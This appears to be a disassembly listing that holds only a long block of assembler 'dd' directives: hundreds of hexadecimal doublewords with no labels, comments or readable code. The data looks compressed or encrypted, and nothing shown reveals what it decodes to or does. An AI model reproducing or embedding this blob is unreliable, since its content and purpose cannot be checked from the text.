		dd 721D0128h, 0C233F4h,	827942Ch, 37F999ADh, 422DA200h
		dd 18107EDDh, 4875001Eh, 2A1CA34Ch, 0E51E1AA6h,	0AC0E7F5h
		dd 834BBEA7h, 13411CF1h, 68CA0065h, 0FD1FDB2Bh,	0CEF9FB00h
		dd 1226320h, 277F0062h,	0E4C65E05h, 0AE3D965Ah,	5C7A8749h
		dd 190F629h, 1D9BBBh, 0F5B1BFDh, 0A5AFBD4Eh, 0C95D2C00h
		dd 8503D6BEh, 86090F7Dh, 1BE01F92h, 4ACBF606h, 0C7A0A00h
		dd 4FD3C075h, 0B76C0029h, 9FF5A2E9h, 2400C29Eh,	668B8528h
		dd 9DAAF6h, 0FCBA8E50h,	7C42EB30h, 0AC559400h, 70F73A82h
		dd 2E895h, 0B92257CFh, 0A6ED432Bh, 15F48AE8h, 65165C90h
		dd 1300AF5Fh, 27FDAC67h, 96DB0158h, 0D56115BBh,	68D2E017h
		dd 0F7A0D3Ch, 0E0F308F5h, 558B0112h, 9DA500B2h,	0CFA02EFEh
		dd 0F100239Eh, 0BF8DDFDEh, 11E279Bh, 0DA0A1ABAh, 71484F3Eh
		dd 6848B48Ch, 0C746BA87h, 9AF1B89h, 0B3C06998h,	5218506Eh
		dd 40110C90h, 11C0022Fh, 8E7CF534h, 3327AFE0h, 0F9597714h
		dd 0EBD90C9Ch, 0C10D3196h, 7907BBD0h, 0D64E207Eh, 9E021E18h
		dd 5C68E921h, 161FDF59h, 9D88008Ch, 0ABA858B1h,	0C0A47300h
		dd 8A9B30Ah, 0DEF200FEh, 3680A35Dh, 1AE405CDh, 3FED7802h
		dd 0E0CB9617h, 19B8646h, 5630AD5Dh, 0D4064D54h,	5E1EB140h
		dd 24009FF9h, 0D2A21F34h, 4F5F0011h, 4491DFD5h,	50071EC1h
		dd 845D94AEh, 0F098B9C0h, 5287001Ah, 2D65F4F3h,	0DF1E033Eh
		dd 77003F6Bh, 0B3B8D8AAh, 4F210010h, 8DFF76B1h,	2000E06Ah
		dd 0E61A4591h, 0EA45A1Bh, 0EEBDDF5Dh, 0A21507E0h, 56797254h
		dd 0EC0FD800h, 0CF4B9465h, 0B34D00D9h, 33136828h, 8E1252C7h
		dd 0FA74h, 8083E7DAh
		dd 0CA90058h, 855D8914h, 8C5477E9h, 0DC3FF4A4h,	0B37C8074h
		dd 5988D4DFh, 1F271E84h, 0CC2AC028h, 0F9ABCF47h, 8E627C38h
		dd 0E1198822h, 8C8364D8h, 0F3499C0h, 0A38466FDh, 9D5EC741h
		dd 7996D878h, 6DCAFB03h, 0C222DFE9h, 0BEB040E3h, 1FADFE94h
		dd 92D6Ah, 3E259315h, 610060C8h, 3BE46B79h, 42F51E9h, 1EE2FC35h
		dd 0FAAC91DAh, 2B78C045h, 166365E0h, 91E7F718h,	0D0960B9Dh
		dd 0DDA7002Ch, 0A405E5CEh, 8B915800h, 1EE707E9h, 95C51E1Fh
		dd 0EA45C361h, 5801DDE0h, 0BD110CBh, 7020AAD2h,	7B373E56h
		dd 1200CCBEh, 2D4F55D4h, 1C000428h, 0EA8BE73Ch,	0E4FE7Ah
		dd 2F60B5DCh, 45DAC346h, 2882FD1Eh, 8F6849h, 58480681h
		dd 4CCF00ACh, 0EFE362E5h, 780A63D0h, 46C6475h, 0EF3170h
		dd 22CC94E5h, 435876A7h, 8847A401h, 0F5D8F682h,	0EA314980h
		dd 1C252948h, 18A9080Eh, 0CD2E00AAh, 826210h, 0A7BAA183h
		dd 9CDBB0F9h, 69C07C7Ch, 0C24D6555h, 2C270796h,	50F4687Fh
		dd 69D7627Eh, 200E7800h, 0F90B4341h, 93630011h,	0B38AD9FFh
		dd 5C009BC3h, 0BEDCEDEBh, 1FCA92Eh, 7EA212D5h, 7A3875C0h
		dd 7DE3DEF0h, 5BAE0FE0h, 809E194Bh, 69BB3578h, 0A600BC0Ch
		dd 93AF16A4h, 0F266DCBh, 0BF466EC2h, 4CF38FA0h,	0C80121D5h
		dd 0FA242E44h, 0A3D8EA26h, 75AB0305h, 0E64BD90Dh, 8EB891A1h
		dd 20F830h, 2C3FB4D0h, 632D06FFh, 417C472Bh, 32AE4900h
		dd 6E755EB2h, 7F4616ABh, 40E11857h, 7C01DB93h, 0D2E78127h
		dd 980986Bh, 2597E363h,	7B0CFC3Ah, 51F26418h, 70C700C8h
		dd 406FBB38h, 16F09A53h, 4EF12200h, 262F7B03h, 783518DBh
		dd 47C6A0D1h, 423E2198h, 66BD036Ah, 9936BAFBh, 3DF0CFADh
		dd 9B81001Ah, 67DB9463h, 6E00DC6Dh, 0D7F621E8h,	24DAC5Fh
		dd 35759E64h, 40D5185Ah, 0A446FB2Eh, 4297690h, 1FE3D434h
		dd 1FB280Ch, 8B8A541Bh,	0F441774Ah, 62155C59h, 88874C3h
		dd 450FBF22h, 0CF658706h, 24868835h, 33B0703Bh,	0DEDD7C1Ch
		dd 0CB8254h, 0A963439Eh, 0F3AA7269h, 5C09A0C3h,	59F897h
		dd 5B98E861h, 86329318h, 0DC789400h, 0FE34503Dh, 0E20490ABh
		dd 64D900B1h, 3ED81FCh,	9F7168FAh, 0C9AB432Eh, 0F6E6C930h
		dd 0C7C13CA1h, 11A08E04h, 2673C01Fh, 0D605478Dh, 0DF145665h
		dd 6E718B80h, 87D5007Ch, 8EA59A17h, 7405AF3Ch, 0D6CEE809h
		dd 0A998CC40h, 1566460h, 0ADA03815h, 70A13DFFh,	0C624F032h
		dd 0AB003C32h, 58CA1030h, 28D30095h, 34E42D3Ah,	3713A7FFh
		dd 2F1DE2FBh, 0C6557540h, 141AEA6h, 94A4C5BDh, 0F8E23DBAh
		dd 30C03290h, 0C6D61F4Ch, 4F160F69h, 63C00E8Eh,	0EFF9B147h
		dd 7D3A9277h, 12AF1804h, 96A920h, 759524F0h, 0AEC25DCAh
		dd 0A4B4FA00h, 92B68A7Bh, 4B00083h, 0F2D009C5h,	4B00345Eh
		dd 0F1B86E8Eh, 0FA70552h, 0BD8A4116h, 4986A84Eh, 0E7030B2h
		dd 0F86DA100h, 110C385Bh, 0A0190C16h, 9620B18Eh, 28EA4205h
		dd 80AB2B2Ah, 0B79A4FEBh, 2C011574h, 26DA21Ah, 0B0BD6C10h
		dd 8F47208Ch, 807F3029h, 4B1CA41Ch, 347CE540h, 94A001h
		dd 2B0E9DF2h, 0CC286224h, 30846C54h, 7A51FB00h,	8409AC1Ch
		dd 327F009Ch, 12BE915h,	0CE0F388Fh, 2C43AB8Dh, 1E1FA0CDh
		dd 40D10DAFh, 3295D97Ch, 7742150h, 88A74A30h, 16E1F798h
		dd 6CCD44h, 56B450F3h, 7D0124D2h, 0E3DBBF03h, 74E8A490h
		dd 79C000FBh, 523D4594h, 0CD1CA3C2h, 0A8807326h, 0FB2947F4h
		dd 0CB270962h, 4380250Eh, 0E6249F7Fh, 0AB2A121Bh, 0C90598F9h
		dd 1C2C034Bh, 1E83289Ch, 0FD98E814h, 99EB009Ch,	5085A143h
		dd 0D43050FEh, 0ABC50318h, 5D157D9h, 223D93Bh, 0FE998795h
		dd 7D531031h, 946E680h,	567BF4B4h, 4059B600h, 140C73FFh
		dd 501F4D19h, 94ED53C0h, 0C8A50477h, 3494818Ch,	0F6712803h
		dd 1AE898E1h, 5AF300ECh, 0D9638146h, 0D200C0BDh, 3DA0698Dh
		dd 19BE27CCh, 68C84B39h, 6446E6A1h, 0C0F18602h,	1836E1BFh
		dd 50811FBAh, 1C5962DCh, 0C0FC5B24h, 0F5E36431h, 703B134Ch
		dd 5E9580A0h, 26DE9796h, 7D160019h, 5212389Ah, 0E006768Ch
		dd 7E8B143Eh, 8DDB1638h, 302F0D9Fh, 0D9E46010h,	73A0AF5Eh
		dd 532D00E7h, 40C11525h, 5809E399h, 0F6B321h, 0AF640601h
		dd 940E002Ah, 81BBCF5Eh, 3717A8Bh, 8490C806h, 135858CEh
		dd 0E2C510h, 167AD4DDh,	7E008957h, 632CE1FDh, 0E82A1D73h
		dd 0C11A0C12h, 39686A28h, 7FB103Eh, 860DE9FDh, 3281C377h
		dd 4CD4719Bh, 60B100BCh, 1664F83Fh, 39C022C1h, 0EBD815D0h
		dd 48A600CDh, 7A42FA2Ch, 6263D35Bh, 0E8F2E720h,	0F4F117h
		dd 9FAFE2DEh, 2B513D96h, 0EB3AD600h, 60929A2Dh,	41D70004h
		dd 592EF3A7h, 830002FFh, 93FE169Dh, 828A5Eh, 0C8810F25h
		dd 96CD1F9Bh, 0E8A13800h, 850880FDh, 9A2B001Bh,	301DA8FEh
		dd 7E1C31E4h, 0A804404h, 2FDDE309h, 0F2240A08h,	81E4255Bh
		dd 3DE58158h, 3EA4408Ah, 540F2162h, 7C4E17h, 5584682Eh
		dd 27B60050h, 5144E0BCh, 39038535h, 599AB499h, 0A074DBF7h
		dd 4FF84Ch, 0C421C55Fh,	5358513Ch, 1B87FE00h, 2420ABA9h
		dd 85AD18C1h, 6506789Bh, 58A41556h, 9AD50179h, 0F95CEA9Eh
		dd 9944A451h, 0D73FA007h, 0F7005EAEh, 7F0931D1h, 90EC1Eh
		dd 1B2FBD8Dh, 0DC1FDF91h, 42E37713h, 629E7304h,	0BF783490h
		dd 0E2E00FEBh, 0A8318D6h, 72A31DE1h, 53232103h,	0CB899470h
		dd 76E08806h, 2820E715h, 9F6A00F5h, 0FED350EEh,	1707F173h
		dd 8611674Bh, 3AB8E590h, 0EE5700CFh, 93292E7Ah,	74F86E17h
		dd 0D5F43B00h, 0FB87CC14h, 28B160C7h, 0B6CAAC7Fh, 22D28E00h
		dd 7991C80Eh, 3857612h,	5321EEB4h, 0F1A0EF44h, 0C700F8CFh
		dd 2AEA3C9Fh, 16E82B3h,	1187D1DAh, 8321FA2Bh, 0F388FC40h
		dd 581ED196h, 7310B30h,	5137AF29h, 0DA1406Ah, 8E003660h
		dd 105CB7DFh, 6E06BFh, 0B24C8820h, 2DE4ED9Eh, 580E8100h
		dd 5FC62232h, 51DA1FEAh, 0AC460EE3h, 4988C7A0h,	2107FEE5h
		dd 2E84D5F5h, 6D8F726h,	441136D9h, 0B27E38CBh, 0C194CE81h
		dd 7FAC7837h, 60ED043h,	0B6C0E68Dh, 0E291D746h,	224A3101h
		dd 0F6473324h, 0F89BA850h, 0C0C66017h, 0D5AA6E55h, 30518C1h
		dd 0E500C979h, 0A075F058h, 0D257C604h, 4C0AD307h, 1C21564Ch
		dd 9A00B9C6h, 0A1B170D2h, 0E0F85305h, 0F575B9FEh, 7525C00h
		dd 0C52D1ACBh, 7C6B0018h, 0A8D3EC2Bh, 5700EF5Fh, 99057D9Eh
		dd 0DD04C7h, 21C95FAh, 0FCC5CA1Fh, 0E7007EECh, 8E96510Dh
		dd 9A1BCEh, 2C0660B3h, 6BC3D5B9h, 788AB00h, 0AAF69B11h
		dd 0F0D41D18h, 9E2A0F45h, 6641A700h, 0F00852Fh,	9F88B7DEh
		dd 97A3E7h, 0BF481EF2h,	9C99A88Dh, 2D335A1Eh, 0C0255CCFh
		dd 0D58FA3D8h, 0D0480078h, 5B148591h, 0BB293DB3h, 0DC01045Ah
		dd 969CB482h, 8DA0C5Eh,	0F6003034h, 0F02CF772h,	9F6CC4h
		dd 0E4BEFCE9h, 0EEF8A4EBh, 19CD6630h, 88E50EA0h, 0CE44FABDh
		dd 0F7142274h, 0CF46F511h, 9F06EC10h, 10844250h, 55092115h
		dd 2186A808h, 5C1548C5h, 47561030h, 1362D488h, 5854859Ch
		dd 76641845h, 6C4C0C0Ah, 45757988h, 8A0C4570h, 44300C54h
		dd 0D800B819h, 0B307E714h, 373B416h, 27DDC3D7h,	0DDC587h
		dd 209ABBE0h, 3D071E3Ah, 0D02DAC0Eh, 0F980B8DAh, 530B2988h
		dd 0D7A11C28h, 0FC3095F2h, 4E3C1A00h, 172482B1h, 0BF9CB505h
		dd 77C0B458h
		dd 1309B67Ch, 1FAAAD2Ch, 0C0B55C1Ah, 559E4FC5h,	0F803B7D3h
		dd 26B8DCE3h, 0EB70A0E4h, 7792000Dh, 0FE862B2Fh, 0E077AF9h
		dd 0F6A2649Dh, 4C209BE5h, 3C82FAB4h, 0A800081Ah, 52234879h
		dd 8414D6ADh, 841ED2h, 5CF81719h, 12852754h, 0F2EED73h
		dd 0EAA0C2DCh, 804F3821h, 9DB53038h, 0D14060DEh, 0B39F2E08h
		dd 1ECD2B07h, 1F3C881Ch, 92BC78h, 8268290Ah, 0F3E8150Dh
		dd 0B9CCB80Fh, 6C456270h, 0C0BC03h, 0E28407Ah, 9F3F3430h
		dd 8B82B703h, 0C7B9C4h,	35DCEF29h, 9D63730h, 0B83F3FE8h
		dd 209E805Eh, 0A802CED8h, 98CA2BA0h, 59BC005Ch,	101E552Ah
		dd 49226000h, 2D4F94FFh, 9F580003h, 0C0BDDF1h, 4207830Ah
		dd 7E07EB1Bh, 0A0A9A40Fh, 6DB9B480h, 0C09036h, 475D3E71h
		dd 9EEBB5C4h, 0B3299F05h, 95C15814h, 29805B83h,	8124E12Dh
		dd 0E8065D9Dh, 0B357949Eh, 43C610B0h, 23B0E8D7h, 5451547Ah
		dd 0EF034C4Eh, 65482AA9h, 0AC221698h, 89B22C3Dh, 92F405h
		dd 82D3BD30h, 48D77F64h, 8E09385Ch, 3C00B4BEh, 848F7965h
		dd 0CD4EF138h, 0B8BD0058h, 0CD28ED72h, 5360041h, 9ED02A48h
		dd 833BD652h, 82744956h, 17781481h, 7E18B687h, 0C2B944C0h
		dd 0C9410196h, 0F3053AB5h, 33D08439h, 0CC81DC5Bh, 640715E0h
		dd 494D081h, 1B780D74h,	0B4018B18h, 19FBA20h, 274E84F4h
		dd 4B9C80D2h, 3AB0A0ACh, 9089007Ch, 0C41C5F12h,	26483E47h
		dd 0D84AA194h, 0DE87D422h, 7F5435F2h, 89FB1544h, 76007ECCh
		dd 0EB31FDCCh, 91272253h, 60214334h, 0B3FB7490h, 1F82FF12h
		dd 0E6570C00h, 4806EB3Dh, 5BEDE810h, 0A1D103DCh, 0E8D59ADCh
		dd 58D6C2Eh, 0C1A9B83Bh, 2A8428A3h, 9F017702h, 80B5D0DCh
		dd 8E8FA0A0h, 12B63CAFh, 6019EE7Dh, 64DBA87Fh, 6C008999h
		dd 0FECC1794h, 3E31BF59h, 3809805Ch, 422BC12h, 0CC615FA7h
		dd 0FB06C815h, 0C9800D07h, 26E3D1DDh, 0D020F565h, 0B89FED96h
		dd 92F7D5Eh, 0AC2158B2h, 21C06415h, 4D745898h, 0A400089Ch
		dd 234A6A2Ch, 9B007132h, 82EBFC07h, 20DEFD8h, 0D3E87BA7h
		dd 0C45F47Fh, 0C4F4CD79h, 262E0481h, 886A7527h,	0FEA6804h
		dd 1E28EC01h, 0A16BC9FFh, 60FC95DAh, 0E2B0BA8Fh, 0D6D35802h
		dd 0A018A834h, 5E5AB1F4h, 52FE1450h, 0B1E08021h, 0D22CDBE6h
		dd 16F42828h, 3D2AE312h, 0AA9010E8h, 65008103h,	6C2743D7h
		dd 14F89736h, 80BDAA6h,	0DB3391Eh, 0E0400CF4h, 0EDF0B4AAh
		dd 711F51DEh, 5C389406h, 65490411h, 5019199h, 1C91BE9Eh
		dd 0FC609FDDh, 40640B9Ch, 50A42F76h, 0ED408116h, 48820827h
		dd 6E187FFEh, 0EB4D0BEh, 9E038171h, 0EE753529h,	48D801FDh
		dd 0CDE67133h, 869C53AEh, 94E283D8h, 148440E1h,	40C0F33Bh
		dd 7833A38Dh, 6D3012BCh, 0B7000EB5h, 86B93D68h,	6610B9CDh
		dd 0DCF638h, 3B19589Ch,	0B06527BFh, 3056C401h, 0AB334785h
		dd 0E404C075h, 9F17C1AEh, 0C3B0520Ah, 591F904Eh, 5BC25C1Fh
		dd 809316E2h, 7C9F4C9Ch, 8B5400F3h, 0F1AA393Fh,	0A00D5BDh
		dd 0DF4FDDF5h, 0C0685DCFh, 0D225A78Eh, 30713CCh, 58E54E89h
		dd 0B50A7190h, 620C008Ch, 1E6B4F07h, 8E00F28Fh,	18E95CC8h
		dd 737436Dh, 70471B75h,	7349874Dh, 2CD82BBFh, 2407EC84h
		dd 58A3232Fh, 9AD87450h, 7F79EBh, 3D183033h, 4A404592h
		dd 0AF21DD1Eh, 50B24880h, 986B753h, 0C3A37268h,	0E7513980h
		dd 173EFC18h, 4E92C5Eh,	4F32803Ah, 0B5A48784h, 0B5CF4C23h
		dd 5D4ADB00h, 556C0E7h,	0FBB7CC00h, 2E47AD30h, 0D27840h
		dd 5CAA3A11h, 44603871h, 0BA9A5200h, 0EDA8E2E1h, 7E7CC4h
		dd 0A58109D3h, 3E8F7898h, 7586F700h, 0DDCFDEA7h, 1E977262h
		dd 40CE9917h, 56BC18B4h, 1C00D91Ah, 0B204F1A1h,	0BD782Bh
		dd 25867EE7h, 0D2A1002h, 62489500h, 0AD374C23h,	0A1F30F32h
		dd 61A0E89Eh, 0C7272594h, 1BC9BB18h, 3BA6818h, 0E04C8DDFh
		dd 0A2834BBDh, 0E2E787B0h, 0EDBB1218h, 15C9E70h, 4964E0CDh
		dd 6036A818h, 0AFEC1790h, 0F4E11C00h, 714CA156h, 0A9910CF1h
		dd 94611BBBh, 0B4AE6000h, 0E249ECBCh, 4C7C04E7h, 8097CE42h
		dd 0CBDDF25Eh, 68DC2B30h, 0EEAA4BEh, 484F7462h,	5A083D60h
		dd 57001A6Ah, 0FB8204FDh, 0BFE684h, 773398F1h, 5DC3DC51h
		dd 40C520Fh, 9EB56654h,	211C00F0h, 42DC32D1h, 60C0D8E1h
		dd 0A3537126h, 7F480023h, 14EF85FEh, 524B992Ch,	8248AAA8h
		dd 31B950Ch, 4A71E18h, 7E095287h, 0C8085418h, 0DEB14F6Ch
		dd 0C9082900h, 0DA392044h, 3A2200A5h, 59ACBCADh, 0FEE88904h
		dd 306B6Eh, 0C9218823h,	804B07E3h, 0A15026C8h, 0A3873601h
		dd 0B6453418h, 5F184C2Eh, 94C113Ch, 0DB9DA100h,	877F8046h
		dd 0F49B0FBBh, 0EB8A0A8Ah, 547B840Ch, 133942F1h, 41F72247h
		dd 44F61910h, 43426F45h, 24DE0214h, 30337314h, 44819008h
		dd 0F5D12784h, 0AEA5245h, 8A0C2B18h, 0A3C1128h,	80CD25Fh
		dd 1B4210F9h, 0FD3C8242h, 0A30C820Ch, 5026115Fh, 0F432D760h
		dd 538A24ADh, 4B1548D7h, 0D0A43C18h, 0B42FF60h,	0C7A8D14h
		dd 71E5C300h, 457977B7h, 58B40B00h, 0A87CB3FCh,	398A8872h
		dd 0A008E084h, 843D4718h, 18C00AE8h, 0A0987BC1h, 61F9406Eh
		dd 0CC1849D8h, 0B57C4422h, 6030E76Fh, 0DC8BF239h, 994500C6h
		dd 0D73F89BCh, 470E93D3h, 0A0F89F78h, 58B1F57Dh, 218D03A5h
		dd 0CC0DE07Ah, 29E96A0Fh, 0F20B60D4h, 19B90EAh,	95124588h
		dd 80B6D8ECh, 22F82B36h, 7B76E1Bh, 34CB9B3Ah, 8381C0AEh
		dd 0D707A731h, 50A66F56h, 0CDBCD510h, 0A180EFA2h, 0E3BEB2FAh
		dd 44413148h, 0C0AAF2E0h, 12CACD89h, 9F0152A9h,	92B1C17Bh
		dd 9B30277Fh, 3A760A89h, 561CDD41h, 0DBA3B000h,	902B55FBh
		dd 0E7B1C024h, 0E6B84367h, 0A0BAE226h, 0A0CC5130h, 0B34E038Eh
		dd 8006F2B1h, 9B0C587Fh, 807DAB7Fh, 7EB80063h, 8D6E8FF4h
		dd 8419E311h, 7C583642h, 30BDAFE0h, 0AE50E753h,	911467BBh
		dd 40800630h, 0E862CA14h, 1BB0ED68h, 0A5797F88h, 317CA90Eh
		dd 1B60C016h, 3BD8A1DDh, 0D3964589h, 0F19BC03h,	0C2688DA7h
		dd 0C3690EA6h, 0F8AB98EFh, 5EC90379h, 6325D371h, 0D467B814h
		dd 0BDD61DE0h, 800FA92h, 19BF0282h, 629E00A7h, 0DC0DF12Ah
		dd 5F00153Dh, 8CDE6745h, 7625887Dh, 0B99131AAh,	41AF7B80h
		dd 88A2B068h, 7009CF80h, 0B21D3524h, 53443C2Ch,	86FE869Fh
		dd 0C31E965Ah, 913A998h, 431C6E01h, 98878CFAh, 822F5FCCh
		dd 0A082DFB2h, 6048D6D4h, 0D60EA06h, 0F722C9A1h, 0E9B502A9h
		dd 0D731DD78h, 0A449700h, 5E350E57h, 9CA0237Eh,	0BD46DD88h
		dd 865F21CFh, 0E10448Fh, 1C93FB15h, 70B05E80h, 31C5632Bh
		dd 847306C9h, 78C4D04Ah, 6F3D30A0h, 0B2C51790h,	25304402h
		dd 4B0FD3BEh, 78CBF048h, 46AF249Bh, 30DA92BCh, 0B6C9777Ch
		dd 58B07B03h, 88A50966h, 12874B69h, 1366B03h, 0A3BDA6A0h
		dd 48885144h, 7048207Ch, 9AB22701h, 9E39EBB0h, 0C9C820h
		dd 4A7915F5h, 7D34F79Bh, 0A8FD9828h, 0E36E6604h, 5BC68DBEh
		dd 0EA11071Ah, 0C74184A1h, 1575E0ABh, 1D74B61Ah, 0F9AE2A01h
		dd 8EDB4333h, 7E0A1024h, 0E53B003Ah, 58E2D164h,	0FC00E463h
		dd 0F5566AF9h, 7CCC34h,	0AB03383Eh, 1DB2A525h, 0A1C33Fh
		dd 0B723AC52h, 0E0229Ch, 0C177012Bh, 99ED3387h,	4A000DEEh
		dd 2E7E5542h, 9848B9h, 979C312Fh, 0A6F2C825h, 72093F00h
		dd 6AFA075Ch, 0AAD8054Eh
		dd 70C175AFh, 6EFFCC30h, 0F4AB0085h, 7E762E7Ch,	312DD300h
		dd 30BD19CCh, 11B600D9h, 93384FC3h, 0CF1C09BFh,	0DF40AD15h
		dd 9BB56F3Bh, 0CDC633D2h, 0C4A83140h, 98488D20h, 83320729h
		dd 79213E09h, 709DF2E3h, 0F32000B9h, 936C10F8h,	85BA2339h
		dd 430ECBE5h, 0B7A99401h, 51807792h, 0D6700CCDh, 82146BA3h
		dd 4A0A410h, 8EB44761h,	0B2051440h, 9C0E5ED7h, 0E0A9F1A0h
		dd 0B186129Bh, 6D0C0357h, 97528A19h, 875F6FAFh,	96B44F5Eh
		dd 0A3CB8CBh, 0A0FF3079h, 6E1F9428h, 1DF9D4h, 0B2FB1838h
		dd 78DD300Eh, 52F85FC7h, 0CE0928A0h, 6A343E29h,	2248D0h
		dd 43D85D16h, 0C5954CBh, 7DAD9D00h, 671730D1h, 63663F83h
		dd 0CC2C0DBCh, 3E8200B5h, 0B90A1D23h, 0C34FBB00h, 7D0C5438h
		dd 1ACA4CCh, 28B34532h,	0C4E70FD2h, 5E0AACB9h, 0EC234EBAh
		dd 0DF33A906h, 16491831h, 72616032h, 0B07E1530h, 6CDE9C6Ch
		dd 0BB8E93Bh, 0CA942F00h, 3A1A09BEh, 0F8AB6086h, 29130AD8h
		dd 24A7334Ch, 0F502082Bh, 0AC99C9h, 365191F0h, 0FBF03A60h
		dd 6BC08A5h, 79A7610Eh,	8122312Eh, 30C37A9Ah, 0E668C98Eh
		dd 0A1284B5Fh, 34A0A8ABh, 0B588323Ah, 404C1D54h, 0F2D08634h
		dd 5907D141h, 436A1407h, 6B6EBBD0h, 2FA930A6h, 0EBD97468h
		dd 51A79337h, 0C3A3B183h, 8204494h, 12C4337h, 93CD464h
		dd 0D6E42D6Bh, 8A660ACh, 0AF5BD844h, 0C87D0A31h, 0DBD842ECh
		dd 55673D28h, 0F67AC980h, 0D2774CF8h, 0A3E1D300h, 3B512903h
		dd 0A9747E8Fh, 457CCD8h, 9580FBC0h, 19366047h, 0F35F7A1Fh
		dd 0E9A04550h, 2715B014h, 0EC502E4h, 0A0044C6Ah, 0DDB17DE0h
		dd 4A9E00A3h, 1E84462Ch, 0E8A05DAEh, 0F47ECCACh, 0B5FDA003h
		dd 0A0444AE5h, 1211D076h, 280AC91Ah, 0ED2AD320h, 7824C89Dh
		dd 728504A4h, 0C820A68Ah, 74985FE5h, 40B60243h,	85B428ACh
		dd 0CA50C48h, 0CC66632Ah, 0D403497Fh, 0EFAFFF4Eh, 2451138Ch
		dd 0A564004Ah, 20A0EC2Ch, 11FD8A37h, 32D017C0h,	64CB026Bh
		dd 295681DAh, 2B4830A1h, 93B0957Eh, 47210048h, 6BD3BD2Dh
		dd 0AE75089Eh, 900D998h, 6F28702Ah, 987B5035h, 0D04C1939h
		dd 48B9F92Fh, 2A008F80h, 9E015344h, 4CC89D11h, 7F07127Ah
		dd 0C44D686Ch, 7C1890A5h, 620009F7h, 6141E3CFh,	0CB41Bh
		dd 7D0D74BFh, 0B3A53110h, 654F300h, 0A860C52Ah,	0D33509FBh
		dd 2881891Ch, 81F90EC3h, 73058878h, 9020DEECh, 64BE05ACh
		dd 0C0D8C857h, 0EF5E26A6h, 1833F200h, 9513E985h, 11980350h
		dd 7C37C5D9h, 0A18384F8h, 0FD77FE00h, 57F7DB09h, 2190048h
		dd 0EAC75930h, 0E2F40E43h, 0A6D36700h, 7C23BA95h, 1C94003Ah
		dd 995F25D6h, 0EA036CAAh, 14F52D92h, 0B7E5C070h, 8D745Dh
		dd 0EFF40952h, 3A7FAEE2h, 7DDF7100h, 8F6A0AACh,	0F9CD0176h
		dd 0CFF22757h, 68D1F813h, 71009170h, 17D5846Fh,	4549B8h
		dd 66A4359Fh, 16399C5Fh, 0EEB17500h, 8E0B3640h,	32741Ch
		dd 3C9322DEh, 0A1D495D9h, 4A75141Fh, 2C946B81h,	1C60C94Fh
		dd 25191D4Bh, 0BDBE800Ch, 9C7BDDE1h, 1F7FCB00h,	0B9A5C52h
		dd 0DB5A0026h, 0E7BC33D1h, 0B47AFD08h, 3B492002h, 0FF6860B8h
		dd 1F8997E0h, 5CB1C600h, 914E1A8Dh, 0A8AF50E7h,	0A5C7007Fh
		dd 0E111D885h, 0A470866Bh, 7E3FD00h, 4E2776B3h,	623B009Fh
		dd 9372987Fh, 0A600942Dh, 0F7FE560Ch, 4091A2h, 4131BE37h
		dd 92A5814Eh, 88D66300h, 76DC7B54h, 5FFAFCh, 0E3F8A682h
		dd 601F7269h, 0CA0210C5h, 80FAB909h, 5EE5F26Eh,	0B7D90067h
		dd 393F4D8h, 0A60085B1h, 0D0B9AA65h, 5310F3h, 96215CC3h
		dd 13EC95A9h, 0ACFCE105h, 64901E0Ch, 94361Ah, 3CCCE779h
		dd 724DF9E6h, 0C690C31Ch, 18EC7C2h, 2DB8E083h, 462A069Ch
		dd 4A1D5C3Eh, 0B5B48F00h, 0C88263A9h, 6BB0A027h, 64A50E32h
		dd 56A08168h, 423A0686h, 690D6500h, 0CDA3DE7Fh,	9D3C00F5h
		dd 0AF64EC94h, 0E1FAEF6h, 6E024291h, 0C097B393h, 0CA5F94h
		dd 5E17FE96h, 863B12C6h, 1BE18700h, 0A637206Ah,	49D50B2Ch
		dd 4500AB68h, 41A47147h, 0D1570D00h, 50B348CAh,	0FCAD3DDDh
		dd 2D80C93Ah, 7C527B1Dh, 2E074C91h, 13740C69h, 1FEC1140h
		dd 348D00EBh, 58932802h, 3003954h, 5677250Eh, 0A6FBE2h
		dd 4D9D7C53h, 5409A28Fh, 0CB27B90Fh, 186CA0F6h,	3810C6D4h
		dd 0FF1CF9E5h, 6F58400Ah, 89F18E8Fh, 9EB8BC00h,	0DC4BD3DEh
		dd 13870EE4h, 0A540F807h, 113E32FAh, 81B4643Bh,	562BF002h
		dd 0C1C05B6Eh, 87CF07D9h, 9014EA9Fh, 1CC5AE1Ah,	0B0347B05h
		dd 5490C2B8h, 0D6EFEDh,	0AFE9619Dh, 1B29DF02h, 4BACCE00h
		dd 0C1E542F7h, 0E6720390h, 0B1C0313Ch, 9166DFC0h, 8B078CECh
		dd 0C73BA7A9h, 2B039460h, 0ECC950D1h, 0D0BD07F0h, 0F0AEF70Eh
		dd 8917A3E8h, 4AD42001h, 390F63F3h, 0FC7EC07Bh,	0DA65382Bh
		dd 80BACD11h, 4478E84Dh, 0EB94180Fh, 0B363E0EDh, 0C3E7B7h
		dd 0DC0DD4EAh, 96157C2Dh, 2507580Bh, 0BE29086Fh, 48CEC801h
		dd 0A520BA53h, 5A2C0E2Ah, 3840A1BBh, 11C58431h,	3DAA3019h
		dd 82C4DF70h, 43453CFCh, 0A1A7BE80h, 8FF5DCE2h,	7A9AB200h
		dd 685B676Eh, 0E95E00E7h, 962C4309h, 0F7121BBAh, 0C0018B6h
		dd 31E2B9FEh, 0E84601DBh, 0C8790787h, 0F5C7FC5Ah, 0E6EB9600h
		dd 0AA5299BBh, 0D22C0174h, 0A939D925h, 0E0D1D01Eh, 306103Ah
		dd 917BDF04h, 7DC9E075h, 827700F5h, 0AAF20964h,	153C96A9h
		dd 6848FEh, 5EB35A63h, 1E66D8FAh, 4CB44944h, 1910F9D1h
		dd 7C0E807Eh, 0C90AE4F8h, 6A1A8003h, 0B0C16B5Bh, 0A78F0E84h
		dd 0DC67DF7Fh, 0A315E012h, 4F00AE7Ch, 574CE46Ah, 67241Ah
		dd 0B073B210h, 8DE7A2FDh, 0D4503D00h, 60812904h, 57E60025h
		dd 8C222FA8h, 1EB0FF5Ch, 5D0D1500h, 0EE6F8B7Ah,	74CB0056h
		dd 2043C1E9h, 8EE6A6ECh, 3372900h, 501C8D1Ah, 484C007Fh
		dd 0D9EC98AAh, 9100AEA9h, 0FB6EEF52h, 796EDDEh,	87628D9Bh
		dd 459F806Ah, 0AE00D2B3h, 51FC9122h, 0A27C77h, 0A96D5A7Ah
		dd 0D3063E92h, 0DF33FEA1h, 0D6097BE0h, 80262A3Ah, 7660C1C3h
		dd 262EBD0Fh, 5A85CDh, 0EF83C28Dh, 0A60007F9h, 0FED3FA56h
		dd 47D1F2h, 1988538Ah, 667AAC4h, 4AA2B300h, 3117D49h, 0D3800086h
